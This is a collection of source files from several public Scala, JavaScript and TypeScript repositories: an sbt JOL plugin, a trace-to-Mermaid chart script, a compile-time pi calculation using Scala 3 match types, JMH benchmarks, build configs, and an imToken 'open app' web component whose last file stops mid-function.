jolVersion: String,
classpath: Seq[File],
args: Seq[String],
forkOps: ForkOptions
): Unit = {
// TODO not needed, but at least confirms HERE we're able to see the class, sadly if we call JOL classes they won't...
// val si = (scalaInstance in console).value
// val loader = sbt.classpath.ClasspathUtilities.makeLoader(cpFiles, si)
// val clazz = loader.loadClass(className) // make sure we can load it
// Thread.currentThread().setContextClassLoader(loader)
val jolDeps = getArtifact("org.openjdk.jol", "jol-cli", jolVersion)
val allArg = args ++ cpOption(classpath)
log.debug(s"jol: ${allArg.mkString(" ")}")
val javaClasspath = (jolDeps ++ classpath).mkString(":")
val result = Fork.java.apply(
forkOps.withOutputStrategy(
forkOps.outputStrategy.getOrElse(
OutputStrategy.LoggedOutput(log)
)
),
Seq(
"-cp",
javaClasspath,
"org.openjdk.jol.Main",
) ++ allArg,
)
if (result != 0) {
sys.error(s"jol return ${result}")
}
// TODO if anyone can figure out how to make jol not fail with ClassNotFound here that'd be grand (its tricky as it really wants to use the system loader...)
// org.openjdk.jol.Main.main("estimates", className, cpOption(cpFiles))
}
private def getArtifact(groupId: String, artifactId: String, revision: String): Seq[File] = {
val dependency = coursier.Dependency(
coursier.Module(
coursier.Organization(
groupId
),
coursier.ModuleName(
artifactId
),
),
revision
)
coursier.Fetch().addDependencies(dependency).runResult().files
}
private def cpOption(cpFiles: Seq[File]): Seq[String] =
Seq("-cp", cpFiles.mkString(":"))
private def runVmDetailsTask(): Initialize[InputTask[Unit]] = {
Def.inputTask {
streams.value.log.info(VM.current().details())
}
}
private def discoverAllClasses(analysis: CompileAnalysis): Seq[String] =
Discovery.applications(Tests.allDefs(analysis)).collect({ case (definition, discovered) => definition.name })
private def runJolParser: (State, Seq[String]) => Parser[(String, Seq[String])] = {
import DefaultParsers.*
(state, mainClasses) => Space ~> token(NotSpace.examples(mainClasses.toSet)) ~ spaceDelimited("<arg>")
}
private def runJolModesParser: (State, Seq[String], Seq[String]) => Parser[(String, String, Seq[String])] = {
import DefaultParsers.*
(state, modes, mainClasses) =>
val parser = Space ~> (token(NotSpace.examples(modes.toSet)) ~ (Space ~> token(
NotSpace.examples(mainClasses.toSet)
))) ~ spaceDelimited("<arg>")
parser map { o => (o._1._1, o._1._2, o._2) }
}
private val modes = List(
"estimates",
"externals",
"footprint",
"heapdump",
"idealpack",
"internals" // ,
// TODO: "stringCompress"
)
object autoImport {
// !! Annoying compiler error configuration id must be capitalized
final val Jol = sbt.config("jol").extend(sbt.Configurations.CompileInternal)
lazy val vmDetails = inputKey[Unit]("Show vm details")
lazy val estimates = inputKey[Unit]("Simulate the class layout in different VM modes.")
lazy val externals = inputKey[Unit]("Show the object externals: the objects reachable from a given instance.")
lazy val footprint = inputKey[Unit]("Estimate the footprint of all objects reachable from a given instance")
lazy val heapdump = inputKey[Unit]("Consume the heap dump and estimate the savings in different layout strategies.")
lazy val idealpack = inputKey[Unit]("Compute the object footprint under different field layout strategies.")
lazy val internals = inputKey[Unit]("Show the object internals: field layout and default contents, object header")
// TODO: lazy val stringCompress = inputKey[Unit]("Consume the heap dumps and figures out the savings attainable with compressed strings.")
lazy val discoveredClasses = TaskKey[Seq[String]]("discovered-classes", "Auto-detects classes.")
}
}
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/sbt-test/sbt-jol/estimates/src/main/scala/example/Entry.scala | Scala | package example
final case class Entry(key: String, value: Int)
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
sbt-jol/src/sbt-test/sbt-jol/run-estimates/src/main/scala/example/Entry.scala | Scala | package example
final case class Entry(key: String, value: Int)
| xuwei-k/sbt-jol | 2 | jol(Java Object Layout) plugin for sbt. fork from https://github.com/ktoso/sbt-jol | Scala | xuwei-k | kenji yoshida | |
main.js | JavaScript | module.exports = ({ path, count, output, min, shortName }) => {
const fs = require("fs");
const input = JSON.parse(fs.readFileSync(path))
.traceEvents.sort((x1, x2) => x2.dur - x1.dur)
.slice(0, count)
.filter((a) => a.dur > min * 1000);
const grouped = Object.groupBy(input, (a) => a.tid);
const header =
"```mermaid" +
`
gantt
dateFormat x
axisFormat %M:%S
`;
const nameAndDuration = (n) => {
let baseName = n.name.replaceAll(" ", "");
if (shortName) {
baseName = baseName
.replaceAll("/executeTests", "/test")
.replaceAll("/compileIncremental", "/compile");
}
return `${baseName} ${Math.floor(n.dur / 100000) / 10}`;
};
const values = Object.keys(grouped)
.map(
(k) =>
` section ${k}\n` +
grouped[k]
.map((n) => {
const name = nameAndDuration(n);
const startTime = Math.floor(n.ts / 1000);
const endTime = Math.floor((n.ts + n.dur) / 1000);
return ` ${name} : ${startTime} , ${endTime}`;
})
.join("\n"),
)
.join("\n");
const result = header + values + "\n```";
fs.appendFileSync(output, result);
const list = input.map((n) => `1. ${nameAndDuration(n)}`).join("\n");
fs.appendFileSync(output, "\n\n" + list);
};
| xuwei-k/sbt-trace-action | 1 | JavaScript | xuwei-k | kenji yoshida | ||
src/test/scala/Test1.scala | Scala | package example
class Test1
| xuwei-k/sbt-trace-action | 1 | JavaScript | xuwei-k | kenji yoshida | ||
chudnovsky/src/main/scala/chudnovsky/Chudnovsky.scala | Scala | package chudnovsky
import compile_time.Rational
import compile_time.SInt
import compile_time.SRational
import compile_time.UInt
import java.math.MathContext
object Chudnovsky {
type _40 = UInt.FromInt[40]
type _100 = UInt.FromInt[100]
type _200 = UInt.FromInt[200]
type _426880 = UInt.FromInt[426880]
type _640320 = UInt.FromInt[640320]
type _13591409 = UInt.FromInt[13591409]
type _545140134 = UInt.FromInt[545140134]
val context = new MathContext(100000)
val pi: String =
"3.14159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196"
def main(args: Array[String]): Unit = {
val s"${x1} / ${x2}" = valueOf[Rational.ToBinString[F3[UInt._2, 11]]].runtimeChecked
val resultBigDecimal = BigDecimal(
bitToBigInt(x1),
context
) / BigDecimal(
bitToBigInt(x2),
context
)
val resultString = resultBigDecimal.toString().take(300)
println(resultString)
val matchDigitsCount = resultString.zip(pi).takeWhile(_ == _).size - 2
println(s"match ${matchDigitsCount} digits")
}
def bitToBigInt(x: String): BigInt = {
val bits = new java.util.BitSet()
x.reverse.zipWithIndex.foreach {
case ('1', index) =>
bits.set(index, true)
case ('0', index) =>
bits.set(index, false)
case (other, _) =>
sys.error(s"unexpected ${other}")
}
BigInt(1, bits.toByteArray.reverse)
}
type Numerator[K <: UInt] =
SInt.Mult[
UInt.Rem[K, UInt._2] match {
case UInt._0 =>
SInt._1
case UInt._1 =>
SInt.Negate[SInt._1]
},
SInt.Mult[
SInt.FromUInt[
UInt.Factorial[UInt.Mult[UInt._6, K]]
],
SInt.FromUInt[
UInt.Add[
_13591409,
UInt.Mult[
_545140134,
K
]
]
]
]
]
type Denominator[K <: UInt] =
UInt.Mult[
UInt.Factorial[UInt.Mult[K, UInt._3]],
UInt.Mult[
UInt.Exp[UInt.Factorial[K], UInt._3],
UInt.Exp[
_640320,
UInt.Mult[K, UInt._3]
]
]
]
type SquareRoot10005[N <: Int] =
ContinuedFraction10005SquareRoot[N, Rational._1]
type ContinuedFraction10005SquareRoot[N <: Int, ACC <: Rational] <: Rational =
N match {
case 0 =>
ACC
case _ =>
ContinuedFraction10005SquareRoot[
scala.compiletime.ops.int.-[N, 1],
Rational.Add[
Rational.Impl[
N match {
case 1 =>
_100
case _ =>
scala.compiletime.ops.int.%[N, 2] match {
case 0 =>
_40
case 1 =>
_200
}
},
UInt._1
],
Rational.Inverse[ACC]
]
]
}
type F1[K <: UInt] =
SRational.Impl[
Numerator[K],
Denominator[K]
]
type F2[K <: UInt] =
F2Impl[K, SRational._0]
type F2Impl[K <: UInt, ACC <: SRational] =
K match {
case UInt._0 =>
SRational.Add[ACC, F1[UInt._0]]
case _ =>
F2Impl[
UInt.Minus[K, UInt._1],
SRational.Add[
ACC,
F1[K]
]
]
}
type F3[K <: UInt, N <: Int] <: Rational =
F2[K] match {
case SRational.Impl[x, y1] =>
x match {
case SInt.Impl[z1, x1] =>
SquareRoot10005[N] match {
case Rational.Impl[x2, y2] =>
Rational.Impl[
UInt.Mult[
y1,
UInt.Mult[
_426880,
x2
]
],
UInt.Mult[
x1,
y2
]
]
}
}
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Comparison.scala | Scala | package compile_time
sealed trait Comparison
final class GT extends Comparison
final class LT extends Comparison
final class EQ extends Comparison
object Comparison {
type Equal[A <: Comparison, B <: Comparison] <: Boolean =
A match {
case GT =>
B match {
case GT =>
true
case _ =>
false
}
case LT =>
B match {
case LT =>
true
case _ =>
false
}
case EQ =>
B match {
case EQ =>
true
case _ =>
false
}
}
type Inverse[A <: Comparison] <: Comparison =
A match {
case GT => LT
case EQ => EQ
case LT => GT
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Digit.scala | Scala | package compile_time
sealed trait Digit
object Digit {
sealed trait One extends Digit
sealed trait Zero extends Digit
type ToString[A] <: String = A match {
case Digit.One => "1"
case Digit.Zero => "0"
}
type Compare[A <: Digit, B <: Digit] <: Comparison = A match {
case Digit.One =>
B match {
case Digit.One =>
EQ
case Digit.Zero =>
GT
}
case Digit.Zero =>
B match {
case Digit.One =>
LT
case Digit.Zero =>
EQ
}
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Rational.scala | Scala | package compile_time
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.string
sealed trait Rational
object Rational {
final class Impl[A <: UInt, B <: UInt] extends Rational
type _1 = Impl[UInt._1, UInt._1]
type Inverse[A <: Rational] <: Rational =
A match {
case Impl[x, y] =>
Impl[y, x]
}
type ToBinString[A <: Rational] <: String = A match {
case Impl[h, t] =>
string.+[
string.+[
UInt.ToString[h],
" / "
],
UInt.ToString[t]
]
}
type Add[A <: Rational, B <: Rational] <: Rational = A match {
case Impl[h1, t1] =>
UInt.Equal[h1, UInt._0] match {
case true =>
B
case false =>
B match {
case Impl[h2, t2] =>
UInt.Equal[h2, UInt._0] match {
case true =>
A
case false =>
Rational.Impl[
UInt.Add[
UInt.Mult[h1, t2],
UInt.Mult[t1, h2]
],
UInt.Mult[t1, t2]
]
}
}
}
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/SInt.scala | Scala | package compile_time
import scala.compiletime.ops.int
import scala.compiletime.ops.long
import scala.compiletime.ops.string
/**
* signed integer
*/
sealed trait SInt
object SInt {
final class Impl[A <: Sign, B <: UInt] extends SInt
type Zero = Impl[Sign.Zero, UInt._0]
type _0 = Zero
type _1 = Impl[Sign.Pos, UInt._1]
type _2 = Impl[Sign.Pos, UInt._2]
type S[A <: SInt] <: Sign =
A match {
case Impl[s, ?] =>
s
}
type Value[A <: SInt] <: UInt =
A match {
case Impl[?, x] =>
x
}
type Equal[A <: SInt, B <: SInt] <: Boolean =
Sign.Equal[S[A], S[B]] match {
case true =>
UInt.Equal[
Value[A],
Value[B]
]
case false =>
false
}
type Mult[A <: SInt, B <: SInt] =
Impl[
Sign.Mult[
S[A],
S[B]
],
UInt.Mult[
Value[A],
Value[B]
]
]
type FromUInt[A <: UInt] <: SInt =
A match {
case UInt._0 =>
Zero
case _ =>
Impl[Sign.Pos, A]
}
type Add[A <: SInt, B <: SInt] <: SInt =
S[A] match {
case Sign.Zero =>
B
case _ =>
S[B] match {
case Sign.Zero =>
A
case _ =>
Sign.Compare[S[A], S[B]] match {
case EQ =>
SInt.Impl[
S[A],
UInt.Add[
Value[A],
Value[B]
]
]
case _ =>
UInt.Compare[Value[A], Value[B]] match {
case EQ =>
Zero
case LT =>
Impl[
AddSign[A, B],
UInt.Minus[
Value[B],
Value[A]
]
]
case GT =>
Impl[
AddSign[A, B],
UInt.Minus[
Value[A],
Value[B]
]
]
}
}
}
}
type AddSign[A <: SInt, B <: SInt] <: Sign =
Comparison.Equal[
Sign.Compare[
S[A],
S[B]
],
UInt.Compare[
Value[A],
Value[B]
]
] match {
case true =>
Sign.Pos
case false =>
Sign.Neg
}
type Negate[A <: SInt] =
Impl[
Sign.Negate[S[A]],
Value[A]
]
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/SRational.scala | Scala | package compile_time
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.string
sealed trait SRational
object SRational {
sealed trait Impl[A <: SInt, B <: UInt] extends SRational
type _0 = Impl[SInt._0, UInt._1]
type Add[A <: SRational, B <: SRational] <: SRational = A match {
case Impl[h1, t1] =>
SInt.Equal[h1, SInt._0] match {
case true =>
B
case false =>
B match {
case Impl[h2, t2] =>
SInt.Equal[h2, SInt._0] match {
case true =>
A
case false =>
SRational.Impl[
SInt.Add[
SInt.Mult[h1, SInt.FromUInt[t2]],
SInt.Mult[SInt.FromUInt[t1], h2]
],
UInt.Mult[t1, t2]
]
}
}
}
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/Sign.scala | Scala | package compile_time
sealed trait Sign
object Sign {
final class Pos extends Sign
final class Zero extends Sign
final class Neg extends Sign
type Compare[A <: Sign, B <: Sign] <: Comparison =
A match {
case Pos =>
B match {
case Pos =>
EQ
case _ =>
GT
}
case Zero =>
B match {
case Pos =>
LT
case Zero =>
EQ
case Neg =>
GT
}
case Neg =>
B match {
case Neg =>
EQ
case _ =>
LT
}
}
type Equal[A <: Sign, B <: Sign] <: Boolean =
A match {
case Pos =>
B match {
case Pos =>
true
case _ =>
false
}
case Neg =>
B match {
case Neg =>
true
case _ =>
false
}
case Zero =>
B match {
case Zero =>
true
case _ =>
false
}
}
type Mult[A <: Sign, B <: Sign] <: Sign =
A match {
case Zero =>
Zero
case _ =>
B match {
case Zero =>
Zero
case _ =>
Equal[A, B] match {
case true =>
Pos
case false =>
Neg
}
}
}
type Negate[A <: Sign] <: Sign =
A match {
case Zero =>
Zero
case Pos =>
Neg
case Neg =>
Pos
}
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
core/src/main/scala/compile_time/UInt.scala | Scala | package compile_time
import compile_time.Digit.One
import compile_time.Digit.Zero
import scala.compiletime.ops.any
import scala.compiletime.ops.double
import scala.compiletime.ops.int
import scala.compiletime.ops.long
import scala.compiletime.ops.string
sealed trait UInt
final class DCons[D <: Digit, T <: UInt] extends UInt
final class DNil extends UInt
object UInt {
type Mult2[A <: UInt] <: UInt =
A match {
case _0 =>
_0
case _ =>
DCons[Digit.Zero, A]
}
type Rem[A <: UInt, B <: UInt] =
Rem0[A, B, _0]
type Rem0[A <: UInt, B <: UInt, C <: UInt] <: UInt =
Compare[A, Add[C, B]] match {
case GT =>
Rem0[A, B, Add[C, B]]
case EQ =>
UInt._0
case LT =>
Minus[A, C]
}
type Minus[A <: UInt, B <: UInt] <: UInt =
A match {
case DNil =>
B match {
case DNil =>
DNil
}
case DCons[h1, t1] =>
B match {
case DNil =>
A
case DCons[h2, t2] =>
h1 match {
case One =>
h2 match {
case One =>
Mult2[
Minus[t1, t2]
]
case Zero =>
DCons[One, Minus[t1, t2]]
}
case Zero =>
h2 match {
case One =>
DCons[One, Minus[Dec[t1], t2]]
case Zero =>
Mult2[
Minus[t1, t2]
]
}
}
}
}
type Exp[A <: UInt, B <: UInt] <: UInt =
A match {
case DNil =>
B match {
case DNil =>
_1
case DCons[?, ?] =>
_0
}
case DCons[?, ?] =>
ReceiveExp[B, A, _1]
}
type ReceiveExp[A <: UInt, B <: UInt, ACC <: UInt] <: UInt = A match {
case DNil =>
ACC
case DCons[One, t] =>
ReceiveExp[
t,
Sq[B],
Mult[ACC, B]
]
case DCons[Zero, t] =>
ReceiveExp[
t,
Sq[B],
ACC
]
}
type Sq[A <: UInt] <: UInt = A match {
case DNil =>
DNil
case DCons[?, ?] =>
ReceiveMult[A, A, DNil]
}
type Mult[A <: UInt, B <: UInt] <: UInt = A match {
case DNil =>
DNil
case DCons[h, t] =>
Compare[B, A] match {
case LT =>
ReceiveMult[B, A, DNil]
case _ =>
ReceiveMult[A, B, DNil]
}
}
type <[A <: UInt, B <: UInt] <: Boolean = Compare[A, B] match {
case LT =>
true
case EQ =>
false
case GT =>
false
}
type Compare[A <: UInt, B <: UInt] = CompareC[A, B, EQ]
type CompareC[A <: UInt, B <: UInt, Carry <: Comparison] <: Comparison = A match {
case DNil =>
B match {
case DNil =>
Carry
case DCons[?, ?] =>
LT
}
case DCons[h, t] =>
B match {
case DNil =>
GT
case DCons[?, ?] =>
CompareNZ[A, B, Carry]
}
}
type CompareNZ[A <: UInt, B <: UInt, C <: Comparison] <: Comparison = A match {
case DCons[h1, t1] =>
B match {
case DCons[h2, t2] =>
CompareC[
t1,
t2,
Carry[Digit.Compare[h1, h2], C]
]
}
}
type Carry[New <: Comparison, C <: Comparison] <: Comparison = New match {
case LT => LT
case GT => GT
case EQ => C
}
type ReceiveMult[A <: UInt, shifted <: UInt, acc <: UInt] <: UInt = A match {
case DNil =>
acc
case DCons[One, tail] =>
ReceiveMult[
tail,
Mult2[shifted],
Add[acc, shifted]
]
case DCons[Zero, tail] =>
ReceiveMult[
tail,
Mult2[shifted],
acc
]
}
type ToString[A <: UInt] = ToString0[A, ""]
type Equal[A <: UInt, B <: UInt] <: Boolean = Compare[A, B] match {
case EQ => true
case GT => false
case LT => false
}
type ToString0[A <: UInt, B <: String] <: String = A match {
case DNil =>
B
case DCons[h, t] =>
ToString0[t, string.+[Digit.ToString[h], B]]
}
type FromInt[A <: Int] <: UInt = int.>=[A, 0] match {
case true =>
A match {
case 0 =>
_0
case 1 =>
_1
case 2 =>
_2
case _ =>
int.%[A, 2] match {
case 0 =>
Mult2[
FromInt[int./[A, 2]]
]
case 1 =>
DCons[One, FromInt[int./[A, 2]]]
}
}
}
type Inc[A <: UInt] <: UInt = A match {
case DNil =>
DCons[One, DNil]
case DCons[h, t] =>
h match {
case One =>
DCons[Zero, Inc[t]]
case Zero =>
DCons[One, t]
}
}
type Add[A <: UInt, B <: UInt] <: UInt = B match {
case DCons[h1, t1] =>
A match {
case DNil =>
B
case DCons[h2, t2] =>
AddNZ[A, B]
}
case DNil =>
A
}
type AddNZ[A <: UInt, B <: UInt] <: UInt = A match {
case DCons[One, t] =>
Add1[A, B]
case DCons[Zero, t1] =>
B match {
case DCons[h, t2] =>
DCons[h, Add[t1, t2]]
}
}
type Add1[A <: UInt, B <: UInt] <: UInt = B match {
case DCons[One, t1] =>
A match {
case DCons[h, t2] =>
DCons[Zero, Inc[Add[t2, t1]]]
}
case DCons[Zero, t1] =>
A match {
case DCons[h, t2] =>
DCons[h, Add[t2, t1]]
}
}
type Dec[A <: UInt] <: UInt = A match {
case DCons[h, t] =>
h match {
case One =>
t match {
case DNil =>
DNil
case _ =>
DCons[Zero, t]
}
case Zero =>
DCons[One, Dec[t]]
}
}
type Factorial[A <: UInt] =
Factorial0[A, UInt._1]
type Factorial0[A <: UInt, B <: UInt] <: UInt =
UInt.<[A, UInt._1] match {
case true =>
B
case false =>
Factorial0[
UInt.Dec[A],
UInt.Mult[
A,
B
]
]
}
private type ::[H <: Digit, T <: UInt] = DCons[H, T]
type _0 = DNil
type _1 = One :: DNil
type _2 = Zero :: One :: DNil
type _3 = One :: One :: DNil
type _4 = Zero :: Zero :: One :: DNil
type _5 = One :: Zero :: One :: DNil
type _6 = Zero :: One :: One :: DNil
}
| xuwei-k/scala-3-match-type-chudnovsky-compile-time-pi | 2 | Scala | xuwei-k | kenji yoshida | ||
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
final case class Int3Tuple(x1: Int, x2: Int, x3: Int)
final case class Int2Tuple(x1: Int, x2: Int)
trait IntFunc[A] {
def apply(x: Int): A
}
object Main {
def mapInt[A](f: IntFunc[A]): Seq[A] = {
var i = 1
val size = 1000
var result = List.empty[A]
while(i <= size) {
result ::= f.apply(i)
i += 1
}
result.reverse
}
}
class Tuple2Test {
@Benchmark
def tuple: Int = {
val values: Seq[(Int, Int)] = Main.mapInt { n =>
(n, n * 2)
}
var sum = 0
values.foreach { x =>
sum += x._1
sum += x._2
}
sum
}
@Benchmark
def caseClass: Int = {
val values: Seq[Int2Tuple] = Main.mapInt { n =>
Int2Tuple(n, n * 2)
}
var sum = 0
values.foreach { x =>
sum += x.x1
sum += x.x2
}
sum
}
}
class Tuple3Test {
@Benchmark
def tuple: Int = {
val values: Seq[(Int, Int, Int)] = Main.mapInt { n =>
(n, n * 2, n * 3)
}
var sum = 0
values.foreach { x =>
sum += x._1
sum += x._2
sum += x._3
}
sum
}
@Benchmark
def caseClass: Int = {
val values: Seq[Int3Tuple] = Main.mapInt { n =>
Int3Tuple(n, n * 2, n * 3)
}
var sum = 0
values.foreach { x =>
sum += x.x1
sum += x.x2
sum += x.x3
}
sum
}
}
| xuwei-k/scala-tuple-boxing-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
A.scala | Scala | package example
@C(B.B1)
class A
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
B.java | Java | package example;
public enum B {
B1
}
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
C.java | Java | package example;
public @interface C {
B value();
}
| xuwei-k/scalameta-semanticdb-unsupported-value-class-java-enum | 0 | https://github.com/scalameta/scalameta/issues/4505 | Scala | xuwei-k | kenji yoshida | |
src/main/scala/Main.scala | Scala | package example
import org.openjdk.jmh.annotations.Benchmark
import org.openjdk.jmh.annotations.Param
import org.openjdk.jmh.annotations.State
import org.openjdk.jmh.annotations.Scope
@State(Scope.Benchmark)
class Main {
@Param(Array("1", "10", "100", "1000"))
var size: Int = 0
def s: String = "abc"
@Benchmark
def oldImpl: String = {
if (size <= 0) {
""
} else {
val sb = new java.lang.StringBuilder(s.length * size)
var i = 0
while (i < size) {
sb.append(s)
i += 1
}
sb.toString
}
}
@Benchmark
def newImpl: String = {
if (size <= 0) {
""
} else {
s.repeat(size)
}
}
}
| xuwei-k/string-repeat-benchmark | 0 | Scala | xuwei-k | kenji yoshida | ||
eslint.config.js | JavaScript | const typescriptParser = require('@typescript-eslint/parser')
module.exports = [
{
files: ['packages/**/**/*.ts', 'packages/**/**/*.tsx'],
languageOptions: {
parser: typescriptParser,
ecmaVersion: 2020,
sourceType: 'module',
globals: {
// Node.js globals
global: 'readonly',
process: 'readonly',
Buffer: 'readonly',
console: 'readonly',
// Jest globals for test files
describe: 'readonly',
it: 'readonly',
expect: 'readonly',
beforeEach: 'readonly',
afterEach: 'readonly',
beforeAll: 'readonly',
afterAll: 'readonly',
jest: 'readonly',
},
},
rules: {
// Basic ESLint rules
'no-unused-vars': 'off', // Handled by TypeScript
'no-undef': 'off', // Handled by TypeScript
'no-dupe-class-members': 'off', // Allow method overloads
'no-constant-condition': ['error', { checkLoops: false }],
},
},
{
ignores: [
'**/dist/**',
'**/node_modules/**',
'**/coverage/**',
'eslint.config.js',
],
},
]
| xwartz/cursor-api | 11 | TypeScript library for the Cursor API | TypeScript | xwartz | xwartz | |
release.js | JavaScript | const path = require('path')
const rootPkg = require('./package.json')
const fs = require('fs').promises
const packagesPath = path.join(__dirname, './packages')
const main = async () => {
const files = await fs.readdir(packagesPath)
await Promise.all(
files.map(async name => {
const pkgPath = path.join(packagesPath, name, 'package.json')
const stat = await fs.stat(pkgPath)
if (!stat.isFile()) {
process.exitCode = 1
}
const content = await fs.readFile(pkgPath, 'utf-8')
const json = JSON.parse(content)
json.version = rootPkg.version
await fs.writeFile(pkgPath, JSON.stringify(json, null, 2))
}),
)
console.log(`\n> ${files.length} packages synchronized, version: ${rootPkg.version}.`)
}
main().catch(err => {
console.log(err)
process.exitCode = 1
})
| xwartz/eslint-config | 0 | This is personal eslint configuration. | JavaScript | xwartz | xwartz | |
exmple/index.html | HTML | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>demo</title>
<script src="../dist/index.umd.js"></script>
<script>
document.addEventListener('DOMContentLoaded', function () {
new window.OpenApp()
}, false)
</script>
</head>
<body>
</body>
</html>
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
rollup.config.ts | TypeScript | import resolve from 'rollup-plugin-node-resolve'
import commonjs from 'rollup-plugin-commonjs'
import sourceMaps from 'rollup-plugin-sourcemaps'
import typescript from 'rollup-plugin-typescript2'
import json from 'rollup-plugin-json'
const pkg = require('./package.json')
const libraryName = 'OpenApp'
export default {
input: `src/index.ts`,
output: [
{ file: pkg.main, name: libraryName, format: 'umd', sourcemap: true },
{ file: pkg.module, format: 'es', sourcemap: true },
],
// Indicate here external modules you don't wanna include in your bundle (i.e.: 'lodash')
external: [],
watch: {
include: 'src/**',
},
plugins: [
// Allow json resolution
json(),
// Compile TypeScript files
typescript({ useTsconfigDeclarationDir: true }),
// Allow bundling cjs modules (unlike webpack, rollup doesn't understand cjs)
commonjs(),
// Allow node_modules resolution, so you can use 'external' to control
// which external modules to include in the bundle
// https://github.com/rollup/rollup-plugin-node-resolve#usage
resolve(),
// Resolve source maps to the original source
sourceMaps(),
],
}
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
src/index.ts | TypeScript | import { isimToken, isZh, isUnSupportScheme, isAndroid, openByIframe, openByLocation, isiOS, isChrome, openByTagA, isiPhoneX } from './utils'
interface Props {
schemeUrl?: string
fallbackUrl?: string
buttonStyle?: any
buttonText?: string
timeout?: number
}
const buttonStyle = {
position: 'fixed',
zIndex: 9999,
bottom: '25px',
left: '50%',
transform: 'translateX(-50%)',
background: '#0890BE',
boxShadow: '0px 6px 8px rgba(22, 21, 60, 0.2)',
borderRadius: '50px',
padding: '14px 28px',
fontSize: '15px',
color: '#fff',
borderStyle: 'none',
outline: 'none',
fontFamily: 'sans-serif',
}
const getDefaultProps = () => {
return {
schemeUrl: 'imtokenv2://navigate/DappView',
fallbackUrl: 'https://token.im/download',
buttonStyle: isiPhoneX() ? { ...buttonStyle, bottom: '59px' } : buttonStyle,
buttonText: isZh ? '打开 imToken' : 'Open in imToken',
timeout: 2000,
}
}
export default class OpenApp {
props: any
tip: any
timer: any
constructor(props: Props = {}) {
const defaultProps = getDefaultProps()
this.props = { ...defaultProps, ...props }
this.render()
}
render() {
if (isimToken()) {
return
}
if (isAndroid() || isiOS()) {
this.renderButton()
this.renderTip()
}
}
renderButton() {
const { buttonStyle, buttonText } = this.props
const button = document.createElement('button')
// apply btn text
button.innerHTML = buttonText
// apply style
Object.keys(buttonStyle).forEach(attr => {
button.style[attr as any] = buttonStyle[attr]
})
// append to body
const body = document.getElementsByTagName('body')[0]
body.appendChild(button)
// add click event
button.addEventListener('click', this.open)
}
renderTip() {
this.tip = document.createElement('div')
const step1Text = isZh ? '1. 点击更多' : '1. Click More'
const step2Text = isZh ? '2. 请选择「在浏览器中打开」' : '2. Choose “Open in Browser”'
const styleContainner = `
position: fixed;
z-index: 10000;
top: 0;
right: 0;
left: 0;
bottom: 0;
background-color: rgba(35, 33, 71, 0.8);
`
const styleArrow = `
position: absolute;
top: -16px;
right: 6px;
`
const styleMore = `
position: absolute;
top: 70px;
right: 130px;
text-align: center;
`
const styleText = `
font-size: 17px;
line-height: 17px;
text-align: center;
color: #fff;
margin-top: 16px;
`
const styleArrowOpen = `
position: absolute;
top: 94px;
right: 194px;
`
const styleOpen = `
position: absolute;
top: 195px;
right: 60px;
text-align: center;
`
this.tip.innerHTML = `
<div style="${styleContainner}">
<img style="${styleArrow}" src="https://cdn.whale.token.im/open-app/oa-arrow-click.svg" alt="arrow" />
<div style="${styleMore}">
<img src="https://cdn.whale.token.im/open-app/oa-more.svg" alt="more" />
<div style="${styleText}">${step1Text}</div>
</div>
<img style="${styleArrowOpen}" src="https://cdn.whale.token.im/open-app/oa-arrow-open.svg" alt="arrow" />
<div style="${styleOpen}">
<img src="https://cdn.whale.token.im/open-app/oa-browser.svg" alt="arrow" />
<div style="${styleText}">${step2Text}</div>
</div>
</div>
`
// hide
this.tip.style.display = 'none'
// append to body
const body = document.getElementsByTagName('body')[0]
body.appendChild(this.tip)
// add click event
this.tip.addEventListener('click', this.hideTip)
}
showTip = () => {
this.tip.style.display = 'block'
}
hideTip = () => {
this.tip.style.display = 'none'
}
open = () => {
// imToken
if (isimToken()) {
return
}
// show tip
if (isUnSupportScheme()) {
this.showTip()
return
}
// try to open app
const { schemeUrl } = this.props
const url = `${schemeUrl}?url=${location.href}`
if (isAndroid()) {
if (isChrome()) {
openByTagA(url)
} else {
openByIframe(url)
}
} else {
openByLocation(url)
}
this._checkOpen()
}
fallback = () => {
const { fallbackUrl } = this.props
location.href = `${fallbackUrl}?from=open-app`
}
_checkOpen = () => {
let haveChange = false
let property = 'hidden'
